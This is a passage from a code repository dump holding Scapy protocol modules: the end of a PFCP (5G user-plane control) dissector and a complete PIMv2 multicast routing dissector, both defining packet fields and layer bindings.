ConditionalField(\n            FieldLenField(\"msisdn_length\", None, length_of=\"msisdn\", fmt=\"B\"),\n            lambda x: x.MSISDNF == 1),\n        ConditionalField(\n            StrLenField(\"msisdn\", \"\", length_from=lambda x: x.msisdn_length),\n            lambda x: x.MSISDNF == 1),\n        ConditionalField(\n            FieldLenField(\"nai_length\", None, length_of=\"nai\", fmt=\"B\"),\n            lambda x: x.NAIF == 1),\n        ConditionalField(\n            StrLenField(\"nai\", \"\", length_from=lambda x: x.nai_length),\n            lambda x: x.NAIF == 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_EthernetPDUSessionInformation(IE_Base):\n    name = \"IE Ethernet PDU Session Information\"\n    ie_type = 142\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", 0, 7),\n        BitField(\"ETHI\", 0, 1),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_MACAddressesDetected(IE_Base):\n    name = \"IE MAC Addresses Detected\"\n    ie_type = 144\n    fields_desc = IE_Base.fields_desc + [\n        FieldLenField(\"num_macs\", None, count_of=\"macs\", fmt=\"B\"),\n        FieldListField(\"macs\", None, MACField(\"mac\", 0),\n                       count_from=lambda x: x.num_macs),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_MACAddressesRemoved(IE_Base):\n    name = \"IE MAC Addresses Removed\"\n    ie_type = 145\n    fields_desc = IE_Base.fields_desc + [\n        FieldLenField(\"num_macs\", None, count_of=\"macs\", fmt=\"B\"),\n        FieldListField(\"macs\", None, MACField(\"mac\", 0),\n                       count_from=lambda x: x.num_macs),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_EthernetInactivityTimer(IE_Base):\n    name = \"IE Ethernet Inactivity Timer\"\n    ie_type = 146\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"timer\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_EventQuota(IE_Base):\n    name = \"IE Event Quota\"\n    ie_type = 148\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"event_quota\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_EventThreshold(IE_Base):\n    name = \"IE Event Threshold\"\n    ie_type = 149\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"event_threshold\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_SubsequentEventQuota(IE_Base):\n    name = \"IE Subsequent Event Quota\"\n    ie_type = 150\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"subsequent_event_quota\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_SubsequentEventThreshold(IE_Base):\n    name = \"IE Subsequent Event Threshold\"\n    ie_type = 151\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"subsequent_event_threshold\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_TraceInformation(IE_Base):\n    # TODO: more detailed decoding\n    # TODO: fix IP address handling\n    name = \"IE Trace Information\"\n    ie_type = 152\n    fields_desc = IE_Base.fields_desc + [\n        BitField(\"mcc_digit_2\", 0, 4),\n        BitField(\"mcc_digit_1\", 0, 4),\n        BitField(\"mnc_digit_3\", 0, 4),\n        BitField(\"mcc_digit_3\", 0, 4),\n        BitField(\"mnc_digit_2\", 0, 4),\n        BitField(\"mnc_digit_1\", 0, 4),\n        ThreeBytesField(\"trace_id\", 0),  # FIXME\n        FieldLenField(\"triggering_events_length\", None,\n                      length_of=\"triggering_events\", fmt=\"B\"),\n        StrLenField(\"triggering_events\", \"\",\n                    length_from=lambda x: x.triggering_events_length),\n        ByteField(\"session_trace_depth\", 0),\n        FieldLenField(\"list_of_interfaces_length\", None,\n                      length_of=\"list_of_interfaces\", fmt=\"B\"),\n        StrLenField(\"list_of_interfaces\", \"\",\n                    length_from=lambda x: x.list_of_interfaces_length),\n        FieldLenField(\"ip_address_length\", None,\n                      length_of=\"ip_address\", fmt=\"B\"),\n        StrLenField(\"ip_address\", \"\",\n                    length_from=lambda x: x.ip_address_length),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_FramedRoute(IE_Base):\n    name = \"IE Framed-Route\"\n    ie_type = 153\n    fields_desc = IE_Base.fields_desc + [\n        StrLenField(\"framed_route\", \"\", length_from=lambda x: x.length)\n    ]\n\n\nclass IE_FramedRouting(IE_Base):\n    name = \"IE Framed-Routing\"\n    ie_type = 154\n    fields_desc = IE_Base.fields_desc + [\n        StrLenField(\"framed_routing\", \"\", length_from=lambda x: x.length)\n    ]\n\n\nclass IE_FramedIPv6Route(IE_Base):\n    name = \"IE Framed-IPv6-Route\"\n    ie_type = 155\n    fields_desc = IE_Base.fields_desc + [\n        StrLenField(\"framed_ipv6_route\", \"\", length_from=lambda x: x.length)\n    ]\n\n\nclass IE_EventTimeStamp(IE_Base):\n    name = \"IE Event Time Stamp\"\n    ie_type = 156\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"timestamp\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_AveragingWindow(IE_Base):\n    name = \"IE Averaging Window\"\n    ie_type = 157\n    fields_desc = IE_Base.fields_desc + [\n        IntField(\"averaging_window\", 0),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_PagingPolicyIndicator(IE_Base):\n    name = \"IE Paging Policy Indicator\"\n    ie_type = 158\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare\", 0, 5),\n        BitField(\"ppi\", 0, 3),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_APN_DNN(IE_Base):\n    name = \"IE APN/DNN\"\n    ie_type = 159\n    fields_desc = IE_Base.fields_desc + [\n        APNStrLenField(\"apn_dnn\", \"\", length_from=lambda x: x.length)\n    ]\n\n\nclass IE_3GPP_InterfaceType(IE_Base):\n    name = \"IE 3GPP Interface Type\"\n    ie_type = 160\n    fields_desc = IE_Base.fields_desc + [\n        XBitField(\"spare_1\", 0, 2),\n        BitEnumField(\"interface_type\", \"S1-U\", 6, InterfaceType),\n        ExtraDataField(\"extra_data\"),\n    ]\n\n\nclass IE_EnterpriseSpecific(IE_Base):\n    name = \"Enterpise Specific\"\n    ie_type = None\n    fields_desc = IE_Base.fields_desc + [\n        ShortEnumField(\"enterprise_id\", None, IANA_ENTERPRISE_NUMBERS),\n        StrLenField(\"data\", \"\", length_from=lambda x: x.length - 2),\n    ]\n\n\nclass IE_NotImplemented(IE_Base):\n    name = \"IE not implemented\"\n    ie_type = 0\n    fields_desc = IE_Base.fields_desc + [\n        StrLenField(\"data\", \"\", length_from=lambda x: x.length)\n    ]\n\n\nietypecls = {\n    1: IE_CreatePDR,\n    2: IE_PDI,\n    3: IE_CreateFAR,\n    4: IE_ForwardingParameters,\n    5: IE_DuplicatingParameters,\n    6: IE_CreateURR,\n    7: IE_CreateQER,\n    8: IE_CreatedPDR,\n    9: IE_UpdatePDR,\n    10: IE_UpdateFAR,\n    11: IE_UpdateForwardingParameters,\n    12: IE_UpdateBAR_SRR,\n    13: IE_UpdateURR,\n    14: IE_UpdateQER,\n    15: IE_RemovePDR,\n    16: IE_RemoveFAR,\n    17: IE_RemoveURR,\n    18: IE_RemoveQER,\n    19: IE_Cause,\n    20: IE_SourceInterface,\n    21: IE_FTEID,\n    22: IE_NetworkInstance,\n    23: IE_SDF_Filter,\n    24: IE_ApplicationId,\n    25: IE_GateStatus,\n    26: IE_MBR,\n    27: IE_GBR,\n    28: IE_QERCorrelationId,\n    29: IE_Precedence,\n    30: IE_TransportLevelMarking,\n    31: IE_VolumeThreshold,\n    32: IE_TimeThreshold,\n    33: IE_MonitoringTime,\n    34: IE_SubsequentVolumeThreshold,\n    35: IE_SubsequentTimeThreshold,\n    36: IE_InactivityDetectionTime,\n    37: IE_ReportingTriggers,\n    38: IE_RedirectInformation,\n    39: IE_ReportType,\n    40: IE_OffendingIE,\n    41: IE_ForwardingPolicy,\n    42: IE_DestinationInterface,\n    43: IE_UPFunctionFeatures,\n    44: IE_ApplyAction,\n    45: IE_DownlinkDataServiceInformation,\n    46: IE_DownlinkDataNotificationDelay,\n    47: IE_DLBufferingDuration,\n    48: IE_DLBufferingSuggestedPacketCount,\n    49: IE_PFCPSMReqFlags,\n    50: IE_PFCPSRRspFlags,\n    51: IE_LoadControlInformation,\n    52: IE_SequenceNumber,\n    53: IE_Metric,\n    54: IE_OverloadControlInformation,\n    55: IE_Timer,\n    56: IE_PDR_Id,\n    57: IE_FSEID,\n    58: IE_ApplicationID_PFDs,\n    59: IE_PFDContext,\n    60: IE_NodeId,\n    61: IE_PFDContents,\n    62: IE_MeasurementMethod,\n    63: IE_UsageReportTrigger,\n    64: IE_MeasurementPeriod,\n    65: IE_FqCSID,\n    66: IE_VolumeMeasurement,\n    67: IE_DurationMeasurement,\n    68: IE_ApplicationDetectionInformation,\n    69: IE_TimeOfFirstPacket,\n    70: IE_TimeOfLastPacket,\n    71: IE_QuotaHoldingTime,\n    72: IE_DroppedDLTrafficThreshold,\n    73: IE_VolumeQuota,\n    74: IE_TimeQuota,\n    75: IE_StartTime,\n    76: IE_EndTime,\n    77: IE_QueryURR,\n    78: IE_UsageReport_SMR,\n    79: IE_UsageReport_SDR,\n    80: IE_UsageReport_SRR,\n    81: IE_URR_Id,\n    82: IE_LinkedURR_Id,\n    83: IE_DownlinkDataReport,\n    84: IE_OuterHeaderCreation,\n    85: IE_Create_BAR,\n    86: IE_Update_BAR_SMR,\n    87: IE_Remove_BAR,\n    88: IE_BAR_Id,\n    89: IE_CPFunctionFeatures,\n    90: IE_UsageInformation,\n    91: IE_ApplicationInstanceId,\n    92: IE_FlowInformation,\n    93: IE_UE_IP_Address,\n    94: IE_PacketRate,\n    95: IE_OuterHeaderRemoval,\n    96: IE_RecoveryTimeStamp,\n    97: IE_DLFlowLevelMarking,\n    98: IE_HeaderEnrichment,\n    99: IE_ErrorIndicationReport,\n    100: IE_MeasurementInformation,\n    101: IE_NodeReportType,\n    102: IE_UserPlanePathFailureReport,\n    103: IE_RemoteGTP_U_Peer,\n    104: IE_UR_SEQN,\n    105: IE_UpdateDuplicatingParameters,\n    106: IE_ActivatePredefinedRules,\n    107: IE_DeactivatePredefinedRules,\n    108: IE_FAR_Id,\n    109: IE_QER_Id,\n    110: IE_OCIFlags,\n    111: IE_PFCPAssociationReleaseRequest,\n    112: IE_GracefulReleasePeriod,\n    113: IE_PDNType,\n    114: IE_FailedRuleId,\n    115: IE_TimeQuotaMechanism,\n    116: IE_UserPlaneIPResourceInformation,\n    117: IE_UserPlaneInactivityTimer,\n    118: IE_AggregatedURRs,\n    119: IE_Multiplier,\n    120: IE_AggregatedURR_Id,\n    121: IE_SubsequentVolumeQuota,\n    122: IE_SubsequentTimeQuota,\n    123: IE_RQI,\n    124: IE_QFI,\n    125: IE_QueryURRReference,\n    126: IE_AdditionalUsageReportsInformation,\n    127: IE_CreateTrafficEndpoint,\n    128: IE_CreatedTrafficEndpoint,\n    129: IE_UpdateTrafficEndpoint,\n    130: IE_RemoveTrafficEndpoint,\n    131: IE_TrafficEndpointId,\n    132: IE_EthernetPacketFilter,\n    133: IE_MACAddress,\n    134: IE_C_TAG,\n    135: IE_S_TAG,\n    136: IE_Ethertype,\n    137: IE_Proxying,\n    138: IE_EthernetFilterId,\n    139: IE_EthernetFilterProperties,\n    140: IE_SuggestedBufferingPacketsCount,\n    141: IE_UserId,\n    142: IE_EthernetPDUSessionInformation,\n    143: IE_EthernetTrafficInformation,\n    144: IE_MACAddressesDetected,\n    145: IE_MACAddressesRemoved,\n    146: IE_EthernetInactivityTimer,\n    147: IE_AdditionalMonitoringTime,\n    148: IE_EventQuota,\n    149: IE_EventThreshold,\n    150: IE_SubsequentEventQuota,\n    151: IE_SubsequentEventThreshold,\n    152: IE_TraceInformation,\n    153: IE_FramedRoute,\n    154: IE_FramedRouting,\n    155: IE_FramedIPv6Route,\n    156: IE_EventTimeStamp,\n    157: IE_AveragingWindow,\n    158: IE_PagingPolicyIndicator,\n    159: IE_APN_DNN,\n    160: IE_3GPP_InterfaceType,\n}\n\n\n#\n# PFCP Messages\n# 3GPP TS 29.244 V15.6.0 (2019-07)\n#\n\n# class PFCPMessage(Packet):\n#     fields_desc = [PacketListField(\"IE_list\", None, IE_Dispatcher)]\n\n\nclass PFCPHeartbeatRequest(Packet):\n    name = \"PFCP Heartbeat Request\"\n    fields_desc = [\n        PacketListField(\"IE_list\", [IE_RecoveryTimeStamp()], IE_Dispatcher)\n    ]\n\n\nclass PFCPHeartbeatResponse(Packet):\n    name = \"PFCP Heartbeat Response\"\n    fields_desc = [\n        PacketListField(\"IE_list\", [IE_RecoveryTimeStamp()], IE_Dispatcher)\n    ]\n\n    def answers(self, other):\n        return isinstance(other, PFCPHeartbeatRequest)\n\n\nclass PFCPPFDManagementRequest(Packet):\n    name = \"PFCP PFD Management Request\"\n    fields_desc = [PacketListField(\"IE_list\", [], IE_Dispatcher)]\n\n\nclass PFCPPFDManagementResponse(Packet):\n    name = \"PFCP PFD Management Response\"\n    fields_desc = [PacketListField(\"IE_list\", [], IE_Dispatcher)]\n\n    def answers(self, other):\n        return isinstance(other, PFCPPFDManagementRequest)\n\n\nclass PFCPAssociationSetupRequest(Packet):\n    name = \"PFCP Association Setup Request\"\n    fields_desc = [PacketListField(\"IE_list\", [], IE_Dispatcher)]\n\n\nclass PFCPAssociationSetupResponse(Packet):\n    name = \"PFCP Association Setup Response\"\n    fields_desc = [PacketListField(\"IE_list\", [], IE_Dispatcher)]\n\n    def answers(self, other):\n        return isinstance(other, PFCPAssociationSetupRequest)\n\n\nclass PFCPAssociationUpdateRequest(Packet):\n    name = \"PFCP Association Update Request\"\n    fields_desc = [PacketListField(\"IE_list\", [], IE_Dispatcher)]\n\n\nclass PFCPAssociationUpdateResponse(Packet):\n    name = \"PFCP Association Update Response\"\n    fields_desc = [PacketListField(\"IE_list\", [], IE_Dispatcher)]\n\n    def answers(self, other):\n        return isinstance(other, PFCPAssociationUpdateRequest)\n\n\nclass PFCPAssociationReleaseRequest(Packet):\n    name = \"PFCP Association Release Request\"\n    fields_desc = [PacketListField(\"IE_list\", [], IE_Dispatcher)]\n\n\nclass PFCPAssociationReleaseResponse(Packet):\n    name = \"PFCP Association Release Response\"\n    fields_desc = [PacketListField(\"IE_list\", [], IE_Dispatcher)]\n\n    def answers(self, other):\n        return isinstance(other, PFCPAssociationReleaseRequest)\n\n\nclass PFCPVersionNotSupportedResponse(Packet):\n    name = \"PFCP Version Not Supported Response\"\n    fields_desc = [PacketListField(\"IE_list\", [], IE_Dispatcher)]\n    # TODO: answers()\n\n\nclass PFCPNodeReportRequest(Packet):\n    name = \"PFCP Node Report Request\"\n    fields_desc = [PacketListField(\"IE_list\", [], IE_Dispatcher)]\n\n\nclass PFCPNodeReportResponse(Packet):\n    name = \"PFCP Node Report Response\"\n    fields_desc = [PacketListField(\"IE_list\", [], IE_Dispatcher)]\n\n    def answers(self, other):\n        return isinstance(other, PFCPNodeReportRequest)\n\n\nclass PFCPSessionSetDeletionRequest(Packet):\n    name = \"PFCP Session Set Deletion Request\"\n    fields_desc = [PacketListField(\"IE_list\", [], IE_Dispatcher)]\n\n\nclass PFCPSessionSetDeletionResponse(Packet):\n    name = \"PFCP Session Set Deletion Response\"\n    fields_desc = [PacketListField(\"IE_list\", [], IE_Dispatcher)]\n\n    def answers(self, other):\n        return isinstance(other, PFCPSessionSetDeletionRequest)\n\n\nclass PFCPSessionEstablishmentRequest(Packet):\n    name = \"PFCP Session Establishment Request\"\n    fields_desc = [PacketListField(\"IE_list\", [], IE_Dispatcher)]\n\n\nclass PFCPSessionEstablishmentResponse(Packet):\n    name = \"PFCP Session Establishment Response\"\n    fields_desc = [PacketListField(\"IE_list\", [], IE_Dispatcher)]\n\n    def answers(self, other):\n        return isinstance(other, PFCPSessionEstablishmentRequest)\n\n\nclass PFCPSessionModificationRequest(Packet):\n    name = \"PFCP Session Modification Request\"\n    fields_desc = [PacketListField(\"IE_list\", [], IE_Dispatcher)]\n\n\nclass PFCPSessionModificationResponse(Packet):\n    name = \"PFCP Session Modification Response\"\n    fields_desc = [PacketListField(\"IE_list\", [], IE_Dispatcher)]\n\n    def answers(self, other):\n        return isinstance(other, PFCPSessionModificationRequest)\n\n\nclass PFCPSessionDeletionRequest(Packet):\n    name = \"PFCP Session Deletion Request\"\n    fields_desc = [PacketListField(\"IE_list\", [], IE_Dispatcher)]\n\n\nclass PFCPSessionDeletionResponse(Packet):\n    name = \"PFCP Session Deletion Response\"\n    fields_desc = [PacketListField(\"IE_list\", [], IE_Dispatcher)]\n\n    def answers(self, other):\n        return isinstance(other, PFCPSessionDeletionRequest)\n\n\nclass PFCPSessionReportRequest(Packet):\n    name = \"PFCP Session Report Request\"\n    fields_desc = [PacketListField(\"IE_list\", [], IE_Dispatcher)]\n\n\nclass PFCPSessionReportResponse(Packet):\n    name = \"PFCP Session Report Response\"\n    fields_desc = [PacketListField(\"IE_list\", [], IE_Dispatcher)]\n\n    def answers(self, other):\n        return isinstance(other, PFCPSessionReportRequest)\n\n\nbind_bottom_up(UDP, PFCP, dport=8805)\nbind_bottom_up(UDP, PFCP, sport=8805)\nbind_layers(UDP, PFCP, dport=8805, sport=8805)\nbind_layers(PFCP, PFCPHeartbeatRequest, message_type=1)\nbind_layers(PFCP, PFCPHeartbeatResponse, message_type=2)\nbind_layers(PFCP, PFCPPFDManagementRequest, message_type=3)\nbind_layers(PFCP, PFCPPFDManagementResponse, message_type=4)\nbind_layers(PFCP, PFCPAssociationSetupRequest, message_type=5)\nbind_layers(PFCP, PFCPAssociationSetupResponse, message_type=6)\nbind_layers(PFCP, PFCPAssociationUpdateRequest, message_type=7)\nbind_layers(PFCP, PFCPAssociationUpdateResponse, message_type=8)\nbind_layers(PFCP, PFCPAssociationReleaseRequest, message_type=9)\nbind_layers(PFCP, PFCPAssociationReleaseResponse, message_type=10)\nbind_layers(PFCP, PFCPVersionNotSupportedResponse, message_type=11)\nbind_layers(PFCP, PFCPNodeReportRequest, message_type=12)\nbind_layers(PFCP, PFCPNodeReportResponse, message_type=13)\nbind_layers(PFCP, PFCPSessionSetDeletionRequest, message_type=14)\nbind_layers(PFCP, PFCPSessionSetDeletionResponse, message_type=15)\nbind_layers(PFCP, PFCPSessionEstablishmentRequest, message_type=50)\nbind_layers(PFCP, PFCPSessionEstablishmentResponse, message_type=51)\nbind_layers(PFCP, PFCPSessionModificationRequest, message_type=52)\nbind_layers(PFCP, PFCPSessionModificationResponse, message_type=53)\nbind_layers(PFCP, PFCPSessionDeletionRequest, message_type=54)\nbind_layers(PFCP, PFCPSessionDeletionResponse, message_type=55)\nbind_layers(PFCP, PFCPSessionReportRequest, message_type=56)\nbind_layers(PFCP, PFCPSessionReportResponse, message_type=57)\n\n# FIXME: the following fails with pfcplib-generated pcaps:\n# bind_layers(PFCP, PFCPSessionEstablishmentRequest, message_type=50, S=1)\n# bind_layers(PFCP, PFCPSessionEstablishmentResponse, message_type=51, S=1)\n# bind_layers(PFCP, PFCPSessionModificationRequest, message_type=52, S=1)\n# bind_layers(PFCP, PFCPSessionModificationResponse, message_type=53, S=1)\n# bind_layers(PFCP, PFCPSessionDeletionRequest, message_type=54, S=1)\n# bind_layers(PFCP, PFCPSessionDeletionResponse, message_type=55, S=1)\n# bind_layers(PFCP, PFCPSessionReportRequest, message_type=56, S=1)\n# bind_layers(PFCP, PFCPSessionReportResponse, message_type=57, S=1)\n\n# TODO: limit possible child IEs based on IE type\n\nIE_UE_IP_Address(SD=0, V4=0, V6=0, spare=0)\n"
  },
  {
    "path": "scapy/contrib/pim.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# scapy.contrib.description = Protocol Independent Multicast (PIM)\n# scapy.contrib.status = loads\n\"\"\"\nReferences:\n  - https://tools.ietf.org/html/rfc4601\n  - https://www.iana.org/assignments/pim-parameters/pim-parameters.xhtml\n\"\"\"\nimport struct\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import BitFieldLenField, BitField, BitEnumField, ByteField, \\\n    ShortField, XShortField, IPField, IP6Field, PacketListField, \\\n    IntField, FieldLenField, BoundStrLenField, MultipleTypeField\nfrom scapy.layers.inet import IP\nfrom scapy.layers.inet6 import IPv6, in6_chksum, _IPv6ExtHdr\nfrom scapy.utils import checksum\nfrom scapy.compat import orb\nfrom scapy.config import conf\nfrom scapy.volatile import RandInt\n\n\nPIM_TYPE = {\n    0: \"Hello\",\n    1: \"Register\",\n    2: \"Register-Stop\",\n    3: \"Join/Prune\",\n    4: \"Bootstrap\",\n    5: \"Assert\",\n    6: \"Graft\",\n    7: \"Graft-Ack\",\n    8: \"Candidate-RP-Advertisement\"\n}\n\n\nclass PIMv2Hdr(Packet):\n    name = \"Protocol Independent Multicast Version 2 Header\"\n    fields_desc = [BitField(\"version\", 2, 4),\n                   BitEnumField(\"type\", 0, 4, PIM_TYPE),\n                   ByteField(\"reserved\", 0),\n                   XShortField(\"chksum\", None)]\n\n    def post_build(self, p, pay):\n        \"\"\"\n        Called implicitly before a packet is sent to compute and\n         place PIM checksum.\n\n        Parameters:\n          self    The instantiation of an PIMv2Hdr class\n          p       The PIMv2Hdr message in hex in network byte order\n          pay     Additional payload for the PIMv2Hdr message\n        \"\"\"\n        p += pay\n        if self.chksum is None:\n            if isinstance(self.underlayer, IP):\n                ck = checksum(p)\n                # ck = in4_chksum(103, self.underlayer, p)\n                # According to RFC768 if the result checksum is 0, it should be set to 0xFFFF  # noqa: E501\n                if ck == 0:\n                    ck = 0xFFFF\n                p = p[:2] + struct.pack(\"!H\", ck) + p[4:]\n\n            elif isinstance(self.underlayer, IPv6) or isinstance(self.underlayer, _IPv6ExtHdr):  # noqa: E501\n                ck = in6_chksum(103, self.underlayer, p)  # noqa: E501\n                # According to RFC2460 if the result checksum is 0, it should be set to 0xFFFF  # noqa: E501\n                if ck == 0:\n                    ck = 0xFFFF\n                p = p[:2] + struct.pack(\"!H\", ck) + p[4:]\n\n        return p\n\n\ndef _guess_pim_tlv_class(h_classes, default_key, pkt, **kargs):\n    cls = conf.raw_layer\n    if len(pkt) >= 2:\n        tlvtype = orb(pkt[1])\n        cls = h_classes.get(tlvtype, default_key)\n    return cls(pkt, **kargs)\n\n\nclass _PIMGenericTlvBase(Packet):\n    fields_desc = [ByteField(\"type\", 0),\n                   FieldLenField(\"length\", None, length_of=\"value\", fmt=\"B\"),\n                   BoundStrLenField(\"value\", \"\",\n                                    length_from=lambda pkt: pkt.length)]\n\n    def guess_payload_class(self, p):\n        return conf.padding_layer\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\n##################################\n# PIMv2 Hello\n##################################\nclass _PIMv2GenericHello(_PIMGenericTlvBase):\n    name = \"PIMv2 Generic Hello\"\n\n\ndef _guess_pimv2_hello_class(p, **kargs):\n    return _guess_pim_tlv_class(PIMv2_HELLO_CLASSES, None, p, **kargs)\n\n\nclass _PIMv2HelloListField(PacketListField):\n    def __init__(self):\n        PacketListField.__init__(self, \"option\", [], _guess_pimv2_hello_class)\n\n\nclass PIMv2Hello(Packet):\n    name = \"PIMv2 Hello Options\"\n    fields_desc = [\n        _PIMv2HelloListField()\n    ]\n\n\nclass PIMv2HelloHoldtime(_PIMv2GenericHello):\n    name = \"PIMv2 Hello Options : Holdtime\"\n    fields_desc = [\n        ShortField(\"type\", 1),\n        FieldLenField(\"length\", None, length_of=\"holdtime\", fmt=\"!H\"),\n        ShortField(\"holdtime\", 105)\n    ]\n\n\nclass PIMv2HelloLANPruneDelayValue(_PIMv2GenericHello):\n    name = \"PIMv2 Hello Options : LAN Prune Delay Value\"\n    fields_desc = [\n        BitField(\"t\", 0, 1),\n        BitField(\"propagation_delay\", 500, 15),\n        ShortField(\"override_interval\", 2500),\n    ]\n\n\nclass PIMv2HelloLANPruneDelay(_PIMv2GenericHello):\n    name = \"PIMv2 Hello Options : LAN Prune Delay\"\n    fields_desc = [\n        ShortField(\"type\", 2),\n        FieldLenField(\"length\", None, length_of=\"value\", fmt=\"!H\"),\n        PacketListField(\"value\", PIMv2HelloLANPruneDelayValue(),\n                        PIMv2HelloLANPruneDelayValue,\n                        length_from=lambda pkt: pkt.length)\n    ]\n\n\nclass PIMv2HelloDRPriority(_PIMv2GenericHello):\n    name = \"PIMv2 Hello Options : DR Priority\"\n    fields_desc = [\n        ShortField(\"type\", 19),\n        FieldLenField(\"length\", None, length_of=\"dr_priority\", fmt=\"!H\"),\n        IntField(\"dr_priority\", 1)\n    ]\n\n\nclass PIMv2HelloGenerationID(_PIMv2GenericHello):\n    name = \"PIMv2 Hello Options : Generation ID\"\n    fields_desc = [\n        ShortField(\"type\", 20),\n        FieldLenField(\n            \"length\", None, length_of=\"generation_id\", fmt=\"!H\"\n        ),\n        IntField(\"generation_id\", RandInt())\n    ]\n\n\nclass PIMv2HelloStateRefreshValue(_PIMv2GenericHello):\n    name = \"PIMv2 Hello Options : State-Refresh Value\"\n    fields_desc = [ByteField(\"version\", 1),\n                   ByteField(\"interval\", 0),\n                   ShortField(\"reserved\", 0)]\n\n\nclass PIMv2HelloStateRefresh(_PIMv2GenericHello):\n    name = \"PIMv2 Hello Options : State-Refresh\"\n    fields_desc = [\n        ShortField(\"type\", 21),\n        FieldLenField(\n            \"length\", None, length_of=\"value\", fmt=\"!H\"\n        ),\n        PacketListField(\"value\", PIMv2HelloStateRefreshValue(),\n                        PIMv2HelloStateRefreshValue)\n    ]\n\n\nclass PIMv2HelloAddrListValue(_PIMv2GenericHello):\n    name = \"PIMv2 Hello Options : Address List Value\"\n    fields_desc = [\n        ByteField(\"addr_family\", 1),\n        ByteField(\"encoding_type\", 0),\n        IP6Field(\"prefix\", \"::\"),\n    ]\n\n\nclass PIMv2HelloAddrList(_PIMv2GenericHello):\n    name = \"PIMv2 Hello Options : Address List\"\n    fields_desc = [\n        ShortField(\"type\", 24),\n        FieldLenField(\n            \"length\", None, length_of=\"value\" , fmt=\"!H\"\n        ),\n        PacketListField(\"value\", PIMv2HelloAddrListValue(),\n                        PIMv2HelloAddrListValue)\n    ]\n\n\nPIMv2_HELLO_CLASSES = {\n    1: PIMv2HelloHoldtime,\n    2: PIMv2HelloLANPruneDelay,\n    19: PIMv2HelloDRPriority,\n    20: PIMv2HelloGenerationID,\n    21: PIMv2HelloStateRefresh,\n    24: PIMv2HelloAddrList,\n    None: _PIMv2GenericHello,\n}\n\n\n##################################\n# PIMv2 Join/Prune\n##################################\nclass PIMv2JoinPruneAddrsBase(_PIMGenericTlvBase):\n    fields_desc = [\n        ByteField(\"addr_family\", 1),\n        ByteField(\"encoding_type\", 0),\n        BitField(\"rsrvd\", 0, 5),\n        BitField(\"sparse\", 0, 1),\n        BitField(\"wildcard\", 0, 1),\n        BitField(\"rpt\", 1, 1),\n        ByteField(\"mask_len\", 32),\n        MultipleTypeField(\n            [(IP6Field(\"src_ip\", \"::\"),\n              lambda pkt: pkt.addr_family == 2)],\n            IPField(\"src_ip\", \"0.0.0.0\")\n        ),\n\n    ]\n\n\nclass PIMv2JoinAddrs(PIMv2JoinPruneAddrsBase):\n    name = \"PIMv2 Join: Source Address\"\n\n\nclass PIMv2PruneAddrs(PIMv2JoinPruneAddrsBase):\n    name = \"PIMv2 Prune: Source Address\"\n\n\nclass PIMv2GroupAddrs(_PIMGenericTlvBase):\n    name = \"PIMv2 Join/Prune: Multicast Group Address\"\n    fields_desc = [\n        ByteField(\"addr_family\", 1),\n        ByteField(\"encoding_type\", 0),\n        BitField(\"bidirection\", 0, 1),\n        BitField(\"reserved\", 0, 6),\n        BitField(\"admin_scope_zone\", 0, 1),\n        ByteField(\"mask_len\", 32),\n        MultipleTypeField(\n            [(IP6Field(\"gaddr\", \"::\"),\n              lambda pkt: pkt.addr_family == 2)],\n            IPField(\"gaddr\", \"0.0.0.0\")\n        ),\n        BitFieldLenField(\"num_joins\", None, size=16, count_of=\"join_ips\"),\n        BitFieldLenField(\"num_prunes\", None, size=16, count_of=\"prune_ips\"),\n        PacketListField(\"join_ips\", [], PIMv2JoinAddrs,\n                        count_from=lambda x: x.num_joins),\n        PacketListField(\"prune_ips\", [], PIMv2PruneAddrs,\n                        count_from=lambda x: x.num_prunes),\n    ]\n\n\nclass PIMv2JoinPrune(_PIMGenericTlvBase):\n    name = \"PIMv2 Join/Prune Options\"\n    fields_desc = [\n        ByteField(\"up_addr_family\", 1),\n        ByteField(\"up_encoding_type\", 0),\n        MultipleTypeField(\n            [(IP6Field(\"up_neighbor_ip\", \"::\"),\n              lambda pkt: pkt.up_addr_family == 2)],\n            IPField(\"up_neighbor_ip\", \"0.0.0.0\")\n        ),\n        ByteField(\"reserved\", 0),\n        FieldLenField(\"num_group\", None, count_of=\"jp_ips\", fmt=\"B\"),\n        ShortField(\"holdtime\", 210),\n        PacketListField(\"jp_ips\", [], PIMv2GroupAddrs,\n                        count_from=lambda pkt: pkt.num_group)\n    ]\n\n\nbind_layers(IP, PIMv2Hdr, proto=103)\nbind_layers(IPv6, PIMv2Hdr, nh=103)\nbind_layers(PIMv2Hdr, PIMv2Hello, type=0)\nbind_layers(PIMv2Hdr, PIMv2JoinPrune, type=3)\n"
  },
  {
    "path": "scapy/contrib/pnio.py",
